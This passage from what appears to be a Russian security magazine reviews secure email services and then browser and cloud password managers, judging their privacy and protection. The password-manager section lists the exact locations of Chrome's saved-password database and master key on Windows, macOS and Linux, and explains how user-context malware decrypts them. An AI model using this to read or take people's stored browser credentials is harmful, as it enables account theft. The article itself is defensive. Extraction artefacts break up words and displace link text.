На вер ное, самая популяр ная поч та в этом обзо ре, что, впро чем, неуди- 
витель но: базиру ется в Швей царии, соз дана уче ными , позици они рует
себя как один из самых защищен ных поч товых сер висов в мире! Код фрон- 
тенда , в том чис ле и . Кро ме того,
у Proton есть  в сети Tor. Регуляр но пуб лику ется 
и сви детель ство канарей ки — информа ция о зап росах дан ных пра воох- 
ранитель ными орга нами. Тут мож но воз мутить ся: если вла дель цы заботят ся
о кон фиден циаль нос ти, то почему вооб ще выпол няют такие зап росы? Но все
мы живем в реаль ном мире, и юри дичес кое лицо, находя щееся в Швей царии,
дол жно выпол нять законы Швей царии, от это го никуда не денешь ся. Хорошо,
что отче ты об этом вооб ще пуб лику ются.

CERN

от крыт крип тогра фичес кая сос тавля ющая
сайт от чет о проз рачнос ти

Поч та шиф рует ся и находит ся в зашиф рован ном сос тоянии на сер верах
ProtonMail. Если оба кор респон дента исполь зуют ProtonMail, то пись ма рас- 
шифро выва ются толь ко получа теля ми. Мож но отпра вить зашиф рован ное
пись мо адре сату, не поль зующе муся ProtonMail, — тог да ему при дет толь ко
пись мо со ссыл кой на сер вер Proton, по которой будет приг лашение на ввод
пароля. Пароль при дет ся сооб щить адре сату по дру гому каналу — по ана- 
логии с любым сим метрич ным шиф ровани ем. Еще плюс — за сер вис мож но
пла тить крип товалю той, если не хва тит воз можнос тей бес плат ного тариф ного
пла на.

У ProtonMail дей стви тель но мно го плю сов, но есть и минусы. Нап ример,
в самом начале ProtonMail позици они ровал ся как поч та, находя щаяся толь ко
в Швей царии, вмес те с сер верами. По фак ту в 
написа но, что сер веры находят ся в двух стра нах — Швей царии и Гер мании.

по лити ке кон фиден циаль нос ти

При регис тра ции нуж но ука зать поч товый ящик для вос ста нов ления.
Это не проб лема, но было бы кру то, если бы для регис тра ции не тре бова лось
вооб ще никаких дан ных.

TUTA

 • Ñàéò: tuta.com

 да (кли ент ская часть)• Îò êðû òûé èñõîäíûé êîä:

 да (час тично)• Ïðè íèìà åò êðèï òó:

 да • Àíî íèì íàÿ ðåãèñ òðà öèÿ:

 Гер мания• Þðèñ äèêöèÿ:

Пе ред нами защищен ная поч та из Гер мании — Tutanota. Тоже дос той ный кан- 
дидат: дос тупен , вся хра нимая перепис ка зашиф- 
рована, откры ты исходни ки , как и в ProtonMail, есть
воз можность слать защищен ные пись ма на сто рон ний ящик — прин цип тот
же, нуж но будет ввес ти пароль для рас шифров ки пись ма по ссыл ке.

от чет о проз рачнос ти
поч товых при ложе ний

Из минусов — , уста нов ленный по решению немец кого суда. Ком- 
пания уве ряет, что все пись ма, зашиф рован ные  появ ления бэк дора, рас-

шифро вать нель зя. Кро ме того, бэк дор не дей ству ет на пись ма, зашиф рован- 
ные end-to-end. Такое шиф рование работа ет, если оба учас тни ка перепис ки
име ют ящик на Tutanota. Через бэк дор могут быть про чита ны незашиф рован- 
ные пись ма, пос тупа ющие на сер веры Tutanota.

бэк дор
äî

Еще неболь шой минус — не при нима ется опла та крип товалю той, но это
лег ко обой ти: сама ком пания пред лага ет покупать подароч ные кар ты через
крип ту, а ими опла чивать поч ту. Да и бес плат ный тариф тоже есть. Но имей
в виду: в соот ветс твии с  ком пании все пла- 
теж ные дан ные собира ются. То же каса ется и пер сональ ных дан ных, которые
ты сам ука жешь, — так написа но в . Хорошо,
что хоть для регис тра ции не обя затель но ука зывать никакие дан ные и мож но
оста вать ся ано ним ным.

по лити кой кон фиден циаль нос ти

поль зователь ском сог лашении

MAILFENCE

 • Ñàéò: mailfence.com

 нет• Îò êðû òûé èñõîäíûé êîä:

 нет• Ïðè íèìà åò êðèï òó:

 час тично (тре бует ся толь ко email)• Àíî íèì íàÿ ðåãèñ òðà öèÿ:

 Бель гия• Þðèñ äèêöèÿ:

Офис ком пании находит ся в Бель гии, как и все сер веры. Здесь есть как бес- 
плат ный тариф ный план, так и плат ный. Мож но вклю чить шиф рование
перепис ки: исполь зовать либо OpenPGP, либо шиф рование по паролю.
Во вто ром слу чае адре сату при дет толь ко пись мо со ссыл кой на сер вер
Mailfence, по которой будет приг лашение ввес ти пароль. Точ но так же, как в
пре дыду щих двух сер висах, пароль нуж но переда вать отдель но. При меча- 
тель но, что при исполь зовании OpenPGP мож но генери ровать пары клю чей
для каж дого адре сата. Еще из положи тель ных момен тов: сер вис под держи- 
вает отче ты о проз рачнос ти и .сви детель ство канарей ки

Из минусов: на офи циаль ном сай те говорит ся о воз можнос ти опла тить
в крип товалю тах, хотя по фак ту ее нет (так мне отве тили в под дер жке сер- 
виса), но зато есть бес плат ный тариф ный план. Исходный код поч товика 

. Кро ме это го, в  ука зано, что ком пания
собира ет и хра нит IP-адре са, пла теж ные дан ные и еще кучу информа ции.
Нас торажи вает и фра за «вхо дящие и исхо дящие сооб щения авто мати чес ки
ана лизи руют ся нашими про цеду рами про вер ки на пред мет спа ма, вирусов
и зло упот ребле ний» — доволь но инте рес ная заяв ка от ком пании, которая
обе щает пол ную кон фиден циаль ность. Ну и при регис тра ции нуж но будет
ввес ти внеш ний адрес поч ты, что бы получить код акти вации и про дол жить
регис тра цию.

зак- 
рыт по лити ке кон фиден циаль нос ти

RUNBOX

 • Ñàéò: runbox.com
 нет• Îò êðû òûé èñõîäíûé êîä:

 да • Ïðè íèìà åò êðèï òó:

 час тично (тре бует ся толь ко email)• Àíî íèì íàÿ ðåãèñ òðà öèÿ:

 Нор вегия• Þðèñ äèêöèÿ:

Сайт это го поч тового сер виса на каж дом шагу пыта ется убе дить поль зовате- 
ля, нас коль ко кру тая здесь защита перепис ки и нас коль ко силь но раз работ- 
чики сер виса заботят ся о безопас ности поль зователь ских дан ных. Давай
пос мотрим, чего сто ит эта рек лама и как дела обсто ят в реаль нос ти.

Из хороше го: за поч ту мож но пла тить крип товалю той! Но, кажет ся, на этом
плю сы и закан чива ются.

Для регис тра ции тре бует ся ввес ти сто рон ний адрес элек трон ной поч ты,
и если не акти виро вать учет ную запись по ссыл ке, которая туда при дет, то
не получит ся отпра вить ни одно го пись ма: «Error: Please subscribe or validate
your alternative email address to send email from your account». Бес плат ного
тарифа нет, но есть проб ный семид невный пери од. Еще из инте рес ного —
в  ука зано, что «для обес печения защиты
от вирусов и спа ма вхо дящие и исхо дящие пись ма могут авто мати чес ки ска- 
ниро вать ся. Кро ме того, про исхо дит авто мати чес кое индекси рова ние содер- 
жимого писем для пре дос тавле ния воз можнос тей поис ка писем». Вот такая
вот при ват ность!

по лити ке кон фиден циаль нос ти

Оче вид но, что пись ма не шиф руют ся при хра нении, зато сер вис 
 исполь зовать OpenPGP самос тоятель но. Навер ное, что бы твои пись ма

не читали раз работ чики это го пол ностью кон фиден циаль ного сер виса!

ре комен- 
дует

Ко роче, это отличная демонс тра ция слу чая, ког да за гром кими сло вами
о при ват ности и безопас ности ни того ни дру гого нет.

ÂÛÂÎÄÛ

Не так дав но у нас был обзор , из которо го ста ло
понят но, что дос той ных кан дидатов не так уж и мно го. В слу чае с сер висами
элек трон ной поч ты ситу ация зна читель но хуже — из всех пре тен дентов
более-менее при емле мо выг лядит ProtonMail, на вто ром мес те — Tuta (если
не счи тать бэк дор!). У осталь ных все сов сем печаль но: похоже, защита там
толь ко в рек ламных бан нерах, которые не име ют ничего обще го с реаль- 
ностью, опи сан ной в поль зователь ских сог лашени ях.

за щищен ных мес сен дже ров

Ко неч но, выход есть — самос тоятель но исполь зовать асим метрич ное
шиф рование при важ ных перепис ках, но это не всег да воз можно со все ми
адре сата ми. С кон фиден циаль ностью дела сов сем пло хи: у основной мас сы
сер висов нет бес плат ных тарифов, они не при нима ют крип товалю ты и вынуж- 
дают поль зовате лей опла чивать услу ги бан ков ски ми перево дами или пла теж- 
ными сер висами с про цеду рой KYC, пол ностью ста вя крест на ано ним ности.
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защищенности

ПРИВАТНОСТЬ

Ес ли ты исполь зуешь раз ные, да еще
и слож ные пароли (а ты ведь исполь зуешь,
прав да?), запом нить их все — задача прак- 
тичес ки непосиль ная. Для ее решения
на помощь при дут спе циаль ные прог- 
раммы — менед жеры паролей. Какой
из них выб рать? Вот об этом мы сегод ня
и погово рим.

INFO

Все выводы в статье — это лич ное мне ние авто ра
со мно жес твом нюан сов и допуще ний, о которых
я пос тарал ся упо мянуть. Менед жеры паролей —
обширная катего рия про дук тов, и у каж дого поль- 
зовате ля най дут ся как свои субъ ективные пред- 
почте ния, так и объ ективные доводы в све те его
кон крет ной ситу ации и опы та. Я пос тарал ся объ- 
ять необъ ятное, сох раняя, нас коль ко это воз- 
можно, объ ективность, при этом у меня нет кон- 
флик та инте ресов, поэто му рек ламиро вать того
или ино го вен дора я не ста ну. Буду рад, если
статья ока жет ся кому-то полез ной, вызовет дис- 
куссии в ком мента риях или кто-то из читате лей
ука жет на воз можные ошиб ки.

Да вай нач нем с исто рии. Жил-был Петя, в шко ле он соз давал мно жес тво
акка унтов на сай тах, записы вая пароли (или один-единс твен ный пароль, что
уж гре ха таить) на бумаж ке, которую береж но хра нил в одной из книг. В стар- 
ших клас сах ему приш ла в голову идея, что пароли мож но хра нить в таб лице
на компь юте ре. Новые акка унты он заносил в таб лицу, а ста рые не стал, ведь
бра узер и при ложе ния не про сили его логинить ся заново. В уни вере Петя
поменял компь ютер, таб лица с пароля ми переко чева ла на флеш ку, а на
новом компь юте ре появил ся еще один файл. Пос коль ку иног да при ходи лось
соз давать акка унты вне дома, то на телефо не у Пети тоже хра нилась пароч ка
паролей, так же как и в запис ной книж ке. При том он уже не пом нил, от чего
имен но некото рые из записан ных паролей. А еще в нед рах его устрой ств хра- 
нились вол шебные SSH-клю чи и магичес кие сер тифика ты VPN, которые ему
помог ли уста новить адми ны на пер вой работе. В общем, он хра нил пароли
на раз ных устрой ствах — ста рых и новых, лич ных и рабочих, в раз ных фай лах
и в книж ке, не пом нил, от чего некото рые из этих паролей, или, еще хуже,
пом нил, от чего пароль, но не пом нил, где его записал!

Ми нусы блок нотов, бумажек и сти керов, которые так любят кле ить
на монитор сот рудни цы бух галте рии, оче вид ны: они могут выпасть
и потерять ся, на них мож но про лить кофе и без воз врат но рас стать ся
с паролем, соот ветс тву ющим всем полити кам безопас ности (ведь мы все
соз даем толь ко слож ные пароли, не так ли?). Кро ме того, их может прос то
уви деть и запом нить дру гой человек. Основная проб лема хра нения подоб ной
информа ции в телефо не зак люча ется в том, что на нем ты не будешь дер жать
сер тифика ты, API-токены и SSH-клю чи, так как это прос то физичес ки неудоб- 
но. Ну и если телефон укра дут, то пароли и куча дру гой кон фиден циаль ной
информа ции попадут в руки зло умыш ленни ков. У заметок и таб лиц еще и
шиф рование отсутс тву ет, а тас кать каж дый день на работу ноут бук с фай лом,
толь ко что бы иметь при себе все нуж ные записи, ты не будешь.

Так что же делать? Иде аль ное решение — никог да не сох ранять пароли
и не забывать пить таб летки для улуч шения памяти. Но к сожале нию, мы не в
сос тоянии запом нить сот ню учет ных записей, поэто му такой вари ант Петя
сра зу отмел. За решени ем воп роса Петя полез в интернет, залоги нил ся
в одну из соци аль ных сетей, и в этот момент перед ним появил ся поп-ап,
пред лага ющий сох ранить пароль. Неуже ли бра узер может хра нить все его
пароли?

ÁÐÀÓÇÅÐÍÛÅ ÕÐÀÍÈËÈÙÀ

Са мое прос тое на пер вый взгляд решение — это вос поль зовать ся встро- 
енным менед жером паролей бра узе ра. На самом деле это не менед жер
паролей (почему — раз берем ся поз же), а пока давай называть его хра нили- 
щем паролей бра узе ра (ХПБ). Плю сы оче вид ны: во-пер вых, решение работа- 
ет из короб ки; во-вто рых, дан ные сами под став ляют ся в фор мы; в-треть их,
как заметят опыт ные поль зовате ли, ХПБ поз волит избе жать под ста нов ки учет- 
ных дан ных на фаль шивых сай тах. На этом, собс твен но, плю сы закан чива- 
ются. Даль ше идут толь ко минусы, и глав ный из них — это отсутс твие шиф- 
рования.

Де ло в том, что бра узер соз давал ся не для хра нения паролей, а поэто му
безопас ность поль зовате лей сто ит для него ниже удобс тва. Раз бирать ся
с пароля ми, которые необ ратимо зашиф ровались, ник то не хочет, поэто му
и хра нит ся база во впол не кон крет ном мес те, шиф рует ся по извес тно му алго- 
рит му, а иног да и ключ для дешиф ровки лежит рядом. Имен но по этой при- 
чине, стро го говоря, бра узер ные менед жеры паролей соз дают ско рее пси- 
холо гичес кий ком форт для поль зовате ля, чем реаль ный барь ер для зло умыш- 
ленни ка.

Кто-то ска жет, что все это, конеч но, здо рово, но нас коль ко дей стви тель но
лег ко получить дос туп к паролям, хра нящим ся в бра узе ре? Резон ный воп рос!
Как  Р. Д. Рас сел из ком пании Fractional CISO, дос тать пароли
из бра узе ров Firefox, Chrome и Edge на Windows уже в 2022 году было впол не
три виаль ной задачей, которая реша ется с помощью прос того питонов ско го
скрип та. А  писал на «Хакере», как сде лать подоб ный сти лер на плю- 
сах, еще в 2018 году.

от меча ет

Nik Zerof

А что же в 2024-м? Давай рас смот рим этот воп рос на при мере Chrome
в раз личных ОС.

На Windows Server 2019 Standard все сов сем печаль но, база дан ных SQLite
3 и мас тер-ключ от нее хра нят ся в сле дующих фай лах:

C:\Users\$username\AppData\Local\Google\Chrome\User Data\Default\
Login Data 
C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State 

Chrome бло киру ет базу дан ных, пока он работа ет. Мас тер-ключ закоди рован
в Base64 и скры вает ся в перемен ной , при чем при откры тии

фай ла с мас тер-клю чом ник то не зап рашива ет допол нитель ных под твержде- 
ний. Соот ветс твен но, открыв, нап ример, файл из пись ма, зло умыш ленник
получа ет дос туп и к базе дан ных, и к клю чу дешиф ровки.

encrypted_key

DPAPI и шифрование App-Bound
Вни матель ный читатель навер няка обра тил вни мание на то, что мы получи ли
дос туп к базе дан ных и к мас тер-клю чу в кон тек сте поль зовате ля. Дело в том,
что в Windows с 2000 года при меня ется механизм DPAPI (Windows Data
Protection API), который поз воля ет шиф ровать дан ные и которым поль зует ся
Chrome. Оба фай ла (база дан ных и файл с мас тер-клю чом от нее) пред став- 
ляют собой DPAPI blob. Нем ного упро щая, мож но ска зать, что в кон тек сте
поль зовате ля этот блоб авто мати чес ки рас шифро выва ется хра нящим ся
в LSASS хешем пароля поль зовате ля и мас тер-клю чом DPAPI. Сде лать это от
име ни дру гого поль зовате ля на том же компь юте ре было бы невоз можно.

Од нако вре донос ное ПО, которое ста рает ся получить твои пароли, будет
в боль шинс тве слу чаев работать имен но в кон тек сте поль зовате ля, его уста- 
новив шего. Это в дан ном слу чае дела ет защиту DPAPI не слиш ком высоким
барь ером. Вне кон тек ста поль зовате ля мож но попытать ся получить хеш
пароля юзе ра и уже рас шифро ван ный мас тер-ключ DPAPI ата ками на LSASS
или, если твой компь ютер все еще исполь зует клас сичес кий BIOS, 

.
ата кой

холод ной перезаг рузки
В Google недав но оза боти лись этой проб лемой и с вер сии Chrome 127

(23 июля 2024 года)  новый механизм — шиф рование с при вяз кой
к при ложе нию. С ним дан ные может получить не любой про цесс, запущен ный
в кон тек сте поль зовате ля, а толь ко Chrome, что дела ет ситу ацию похожей
на про исхо дящее в macOS и Linux. Одна ко новый механизм пока дей ству ет
толь ко для фай лов cookie и на пароли поль зовате лей не рас простра няет ся.

внед рили

Chrome в Windows

На macOS все слож нее. База паролей хра нит ся в фай ле

/Users/$username/Library/Application Support/Google/Chrome/User Data/
Default/Login Data 

А вот мас тер-ключ Chrome Safe Storage содер жится уже не в прос том фай ле,
а в связ ке клю чей (Keychain), и по сос тоянию на 2024 год в macOS Ventura
13.2 для его извле чения у поль зовате ля зап рашива ется пароль.

Chrome в macOS

В Linux ситу ация ана логич ная тому, что про исхо дит на macOS, то есть база
хра нит ся по пути ниже, а для ее рас шифров ки пот ребу ется мас тер-ключ
Chrome Safe Storage Control из связ ки клю чей (нап ример, gnome-keyring),
для дос тупа к которо му так же необ ходимо ввес ти пароль поль зовате ля, если,
конеч но, ты спе циаль но не задал дру гой пароль для связ ки клю чей изна чаль- 
но.

~/.config/google-chrome/Default/Login Data 

Как видим, при исполь зовании ХПБ вре донос ное ПО дей стви тель но име ет
все шан сы доб рать ся до наших паролей. На Windows это сов сем прос то, а на
macOS и в Linux при дет ся при ложить чуть боль ше уси лий. Этот недос таток
ХПБ был исполь зован, нап ример, вымога телем  в июле 2024-го, ког да
перед шиф ровани ем он вытас кивал все учет ные дан ные бра узе ров Chrome
в домене.

Qilin

От сутс твие шиф рования поз воля ет тво им кол легам или родс твен никам
получить и физичес кий дос туп к паролям, если ты оста вишь компь ютер
незаб локиро ван ным или вооб ще не исполь зуешь пароль на этом устрой стве.
А бра узер ные рас ширения, которым мы не гля дя даем все зап рашива емые
пра ва, могут прос то ска чать всю базу в тек сто вом виде.

У ХПБ есть еще нес коль ко минусов. Кто-то ска жет, что база паролей хра- 
нит ся локаль но, но на самом деле мы это го не зна ем, мы прос то вос при нима- 
ем это как факт. Еще один минус зак люча ется в том, что ХПБ не могут хра нить
ничего, кро ме учет ных дан ных и номеров бан ков ских карт. API-клю чи, сер- 
тифика ты или докумен ты и про чее ты там не сох ранишь. И пос леднее: мы
зависи мы от одно го бра узе ра на одном девай се, то есть, хра ня пароли
в Safari, ты не можешь вос поль зовать ся ими в Chrome. А если захочешь
залоги нить ся в один из виде осер висов на компь юте ре сво ей девуш ки, то
здесь вооб ще беда: твой девайс вмес те с сох ранен ным паролем остался
дома.

ÌÅÍÅÄÆÅÐÛ ÏÀÐÎËÅÉ

Изу чив ХПБ, Петя остался недово лен, ведь его пароли там не будут
в безопас ности. Но как тог да хра нить все нажитое непосиль ным тру дом?

Ве роят но, все слы шали про Apple Keychain или менед жер паролей Google,
которые нас тро ены поч ти на каж дом яблочном или Android-устрой стве.
Это облачные менед жеры паролей (ОМП), которые работа ют на уров не эко- 
сис темы вен дора. А, нап ример, Opera Sync дела ет неч то похожее, син хро- 
низи руя всю активность бра узе ра Opera на раз ных устрой ствах, одна ко это не
исклю чает уже упо мяну тых минусов ХПБ. Получа ется забав ная ситу ация: пом- 
нишь, что Chrome на плат форме macOS полагал ся на Apple Keychain?
Получа ется, что ХПБ исполь зуют дру гой, сто рон ний ОМП для обес печения
безопас ности тво их паролей. Так к чему эти пос редни ки?

Ду маю, самое вре мя сде лать неболь шое отступ ление и обсу дить, какие
вооб ще сущес тву ют менед жеры паролей. Я бы раз делил их на четыре типа:

об лачные менед жеры паролей (ОМП);•
ло каль ные менед жеры паролей (ЛМП);•
кор поратив ные менед жеры паролей (КМП);•
де тер минис тичес кие менед жеры паролей (ДМП).•

ОМП хра нят дан ные на сер верах вен дора и работа ют как SaaS-решения,
ЛМП хра нят дан ные в виде локаль ного фай ла на устрой стве, КМП хра нят
информа цию на сер вере ком пании (их мож но условно наз вать локаль ным
обла ком), а ДМП вооб ще ничего ниг де не хра нят, но соз дают пароль
на локаль ном устрой стве каж дый раз заново как про изводную от мас- 
тер-пароля и домена. По сути, выбор менед жера пароля сво дит ся в пер вую
оче редь к выбору мес та хра нения дан ных, то есть доверия вен дору, и, в мень- 
шей сте пени, к цене и прив лекатель нос ти интерфей са. Все осталь ные ком- 
понен ты более или менее оди нако вы.

Срав нить интерфейс и цены менед жеров паролей ты можешь и сам,
поэто му давай пос мотрим на них под дру гим углом, а имен но заг лянем им
под капот и поп робу ем выяс нить, нас коль ко они соот ветс тву ют заяв ленно му
опи санию и защища ют нас от извес тных угроз. Для это го опре делим ся
с моделью угроз, что бы понять, как же нам оце нивать менед жеры паролей,
ведь они не могут защитить от все го на све те.

Пред лагаю счи тать, что мы пол ностью доверя ем нашему устрой ству
на хар двар ном уров не, а так же на уров не ОС, то есть мы не будем рас смат- 
ривать вари анты, ког да ковар ный про изво дитель намерен но пыта ется
вытащить все твои пароли через бэк дор. Поэто му оста новим ся на четырех
основных век торах:

враж дебная сре да ОС (вре донос ное ПО, физичес кий дос туп, память
устрой ства);

•

уяз вимос ти при ложе ния (уяз вимос ти ядра прог раммы и неожи дан ные
вещи в начин ке);

•

враж дебная сре да веб-ресур сов (авто запол нение и фишинг);•
не опре делен ность обме на дан ными (обла ко, син хро низа ция, шеринг
паролей).

•

Соб рав 25 про дук тов, Петя начал отсе кать лиш нее. Здесь рас смат рива ются
пер сональ ные решения, поэто му о КМП («Пас сворк», Vault, Passbolt) говорить
не буду. ДМП так же не ста ну рас смат ривать из-за их ред кости и огра ничен- 
ности. ЛМП мы тоже оста вим в сто роне, так как там речь ско рее идет
о неофи циаль ных пор тах для раз ных плат форм, что не поз воля ет выделить
фун кци ональ ность ядра про дук та (KeePass, pass).

Из обзо ра были так же исклю чены заб рошен ные про екты (Horcrux, Mitro,
Padloc, RememBear), сом нитель ные (PassKeep), зависи мые от эко сис темы
или устрой ства (iCloud Keychain, Google Password Manager). Нелег ким
решени ем было так же исклю чить вен доров, бло киру ющих рос сий ские IP-
адре са (Norton Password Manager, NordPass, ProtonPass), а так же тех, чьи про- 
дук ты нель зя опла тить из Рос сии без допол нитель ной голов ной боли (рос- 
сий ской кар той или через магазин мобиль ных при ложе ний), поэто му плат ные
решения были прак тичес ки исклю чены из ана лиза (1Password, Dashlane).
Все-таки вза имо дей ство вать с решени ями, которые изна чаль но нас тро ены
к тебе негатив но, — доволь но рис кован ное дело, а менед жер паролей —
это как-никак про миними зацию рис ков. При тес тах я поль зовал ся рос сий- 
ской поч той (mail.ru) и рос сий ским IP-адре сом.

Жир ным в таб лице выделе ны цены тех про дук тов, которые мож но при обрести
с рос сий ской кар ты.

ÐÀÁÎÒÀ «ÈÇ ÊÎÐÎÁÊÈ» È ÈÍÒÅÐÔÅÉÑ

Один из пер вых кри тери ев, на которые обыч но обра щают вни мание, —
это удоб ный интерфейс и прос тая нас трой ка. Раз уж мы ухо дим от ХПБ, то
в ОМП все дол жно быть плюс-минус так же лег ко и инту итив но.

Вот ты ска чива ешь и запус каешь менед жер паролей. Но Zoho Vault
и Kaspersky сна чала тре буют соз дать акка унт в их эко сис теме и толь ко потом
уже ввес ти мас тер-пароль для соз дания самого хра нили ща. Мелочь, но неп- 
рият но. Сто ит отдать дол жное Kaspersky, он был единс твен ным, кто пред- 
ложил про читать поль зователь ское сог лашение. Еще сто ит отме тить, что
у Zoho Vault не работа ет регис тра ция на адре са mail.ru и опла та из рос сий- 
ско го сег мента мобиль ного магази на при ложе ний недос тупна, но бес плат ной
вер сии нам впол не хва тит.

Внут ри фун кции перечис ленных прог рамм более-менее сов пада ют. Вез де
мож но добав лять раз ные катего рии дан ных (учет ные дан ные, бан ков ские кар- 
ты, замет ки), соз давать пап ки, искать по хра нили щу. Если захочешь, то мас- 
тер-пароль мож но всег да поменять! Важ ная фун кция — это импорт дан ных,
у боль шинс тва она есть, мож но импорти ровать как из CSV-фай лов, так и из
бра узе ра или дру гого менед жера паролей. А вот у Zoho Vault такой фун кции
нет вооб ще, тог да как Kaspersky поз воля ет импорти ровать толь ко из CSV-
фай лов. У всех кон курен тов в этом пла не воз можнос тей боль ше.

Ди зайн — это уже субъ ективный кри терий. Лич но мне Keeper показал ся
пес трым, с оби лием фун кций, от которых раз бега ются гла за. У Bitwarden
дизайн очень прос той, как буд то его делали лет десять назад, а в левой час ти
окна всег да висит «пус тая пап ка», что очень раз дра жает. Я как-то ожи дал
боль шего от про екта такого уров ня.

У Sticky Password, Enpass и Kaspersky дизайн спо кой ный и инту итив но понят- 
ный, всё по делу. Вот не хотел ничего пло хого говорить про LastPass, но пос- 
ле запус ка в при ложе нии сра зу поеха ла верс тка... Хоть интерфейс и выпол нен
неп лохо, но, как и в Keeper, от оби лия фун кций раз бега ются гла за. Глав ный
минус сос тоит в том, что пос ле соз дания пароля я так и не понял, как открыть
кар точку, что бы пос мотреть запись.

LastPass

Kaspersky

В RoboForm без ста грам мов не раз берешь ся. Для вхо да нуж но понять,
как обой ти назой ливое пред ложение добавить рас ширение в Safari. Дела ется
это через сме ну мас тер-пароля. По идее, у RoboForm, так же как и
у Kaspersky, нуж но соз дать акка унт в эко сис теме, но этот шаг я удач но обо- 
шел, в ито ге оставшись без дос тупа в про филь. Потом меня встре тил инте-
рес ный баг: окно при ложе ния показы валось поверх дру гих окон, баг про пал
на сле дующий день. Даль ше — боль ше: добавить учет ные дан ные нель зя. Вот
и всё, при еха ли. Что бы добавить учет ную информа цию, необ ходимо залоги- 
нить ся на веб-ресур се, а затем сох ранить пароль в хра нили ще через рас- 
ширение, но впи сать в это хра нили ще свой собс твен ный пароль из головы
не получит ся.

Пляс ки с RoboForm

Не буду дол го оста нав ливать ся на воп росе кросс-плат формен ности, то есть
под дер жке менед жером паролей всех устрой ств и интерфей сов. Я исполь- 
зовал кри терий «Основные ОС», к которым отно сят ся Windows, macOS, Linux,
Android и iOS — наибо лее популяр ные дес ктоп ные и мобиль ные плат формы.
А так же «Основные бра узе ры», к которым я отнес Chrome, Firefox, Safari
и Edge. Прак тичес ки все изу чен ные мною прог раммы под держи вают весь
упо мяну тый зоопарк, проб лемы воз никли толь ко с отсутс тви ем Linux
у Kaspersky и Sticky Password.
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ПАРОЛЬ «РЫБА-МЕЧ»

ВЫБИРАЕМ ОБЛАЧНЫЙ МЕНЕДЖЕР
ПАРОЛЕЙ

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

ÓßÇÂÈÌÎÑÒÈ ÏÎ È ÂÐÀÆÄÅÁÍÀß ÑÐÅÄÀ Â ÐÀÌÊÀÕ ÎÑ

Вот мы и подоб рались к опре делен ной нами модели угроз. Вна чале давай
раз берем ся с проб лемой, которую мы вме няли в вину ХПБ, — нес той костью
перед вре донос ным ПО, экс плу ати рующим уяз вимос ти в самих при ложе ниях
менед жеров паролей, в шиф ровании базы дан ных и в буфере обме на.

Уяз вимос ти при ложе ний при сущи и ХПБ, и ОМП. Как буд то в бра узе рах
не быва ет зироде ев и багов — чего сто ят толь ко недав ние 

 в Firefox. В ОМП такие уяз вимос ти тоже находят ся:
вот, нап ример,  в Zoho или  некор рек тной работы
API у Keeper в 2018 году. Здесь мы ничего сде лать не можем, нам оста ется
толь ко сво евре мен но обновлять ся до пос ледней вер сии.

CVE-2024-
29943 и CVE-2024-29944

CVE-2021-40539 проб лема

Бо лее инте рес ным выг лядит вто рой класс угроз, то есть кей лог геры, а так- 
же тро яны, уме ющие делать сним ки экра на и извле кать дан ные из буфера
обме на. Подоб ные вре доно сы в боль шинс тве слу чаев неп лохо обна ружи- 
вают ся анти виру сами, хотя некото рые ОС встра ивают в свои про дук ты вся кие
AI Explorer... К сожале нию, толь ко в Enpass есть нас трой ка, бло киру ющая
менед жер паролей при акти вации сним ка экра на.

Для Windows так же акту аль на ата ка DLL Hijacking, ей под верже ны поч ти
все ОМП. А уда ление дан ных из буфера обме на прак тичес ки никак
не защища ет поль зовате ля. Дело в том, что вре донос ное ПО может сох- 
ранить сос тояние буфера обме на еще до того, как менед жер паролей очис- 
тит его от ско пиро ван ного содер жимого. Вот что  раз работ чик KeePass
Доминик Рай хль: «Ни KeePass, ни любой дру гой менед жер паролей не могут
вол шебным обра зом безопас но работать внут ри заражен ной шпи онским
ПО сре де».

пи шет

Фун кция очис тки буфера обме на есть у полови ны рас смот ренных ОМП,
а вот фун кция авто мати чес кого выхода по исте чении вре мени есть у всех. Ну
хоть ник то пос торон ний не смо жет про читать пароли в твое отсутс твие, то
есть угро за физичес кого дос тупа лик видиро вана. Хотя здесь есть один
нюанс: базовые нас трой ки безопас ности у Bitwarden и Zoho Vault, конеч но,
так себе, при дет ся полазать в них, что бы при ложе ние бло киро валось при зак- 
рытии и чис тило буфер обме на. Тог да как у Keeper, Enpass, Sticky Password
и Kaspersky все работа ет из короб ки. Сто ит отме тить, что ни один вен дор
не хра нит мас тер-пароль или его про изводные в памяти устрой ства, что само
по себе уже раду ет.

Нуж но пом нить, что при ложе ния — это ком мерчес кий про дукт, который
может под ложить свинью самос тоятель но: исполь зовать Google Tag Manager,
Firebase и про чие тре керы. Не буду вда вать ся в под робнос ти, для инте ресу- 
ющих ся есть пот ряса ющий ресурс , где мож но про верить любой
менед жер паролей или дру гое при ложе ние.

Exodus

ÂÐÀÆÄÅÁÍÀß ÑÐÅÄÀ ÂÅÁ-ÐÅÑÓÐÑÎÂ

А теперь давай погово рим о самой вос тре бован ной фун кции как ХПБ, так
и дру гих ОМП — авто запол нении. Работа ет она так: веб-стра ница ска ниру- 
ется, на ней обна ружи вают ся все фор мы, а даль ше менед жер паролей под- 
гру жает име ющиеся учет ные дан ные и встав ляет их в най ден ные поля. Все
очень прос то и изящ но, но что может пой ти не так?

Во-пер вых, фишинг — то есть ситу ация, ког да ты ока зал ся на сай те,
который выг лядит как нас тоящий, но им не явля ется. В этом слу чае и бра- 
узер ный, и любой дру гой менед жер паролей тебя защитит, так как про веря ет
соот ветс твие домена. Не поможет это, если раз работ чики допус тят ошиб ку
в методе рас позна вания домена, что и  с LastPass в 2016 году.про изош ло

Вто рая самая извес тная угро за — это ата ка Clickjacking на скры тые фрей- 
мы, которые кон тро лиру ются зло умыш ленни ком. Дело в том, что зло умыш- 
ленни ки при ком про мета ции веб-ресур са иног да под став ляют скры тую фор- 
му логина через фрейм под видимую панель аутен тифика ции, а менед жер
паролей авто мати чес ки под став ляет дан ные во все най ден ные фор мы, о чем
ты даже и не узна ешь. Самый боль шой скан дал про изо шел с Bitwarden,
который знал об этой угро зе с 2018 года, но пред при нял меры по ее миними- 
зации толь ко в 2023 году.

Еще одна неп рият ность — это вез десущие мар кетоло ги. Некото рые
веб-ресур сы исполь зуют скры тые фор мы авто запол нения для сбо ра дан ных
о поль зовате ле. Все про исхо дит так же, как и в упо мяну той выше ата ке, толь- 
ко собира ются твои лич ные дан ные и поч та для про фили рова ния, и да, ты
об этом тоже не узна ешь. Но под раз дачу-то могут попасть и пароли!

Ес ли пос мотреть на авто запол нение со сто роны ОМП, то единс твен ный
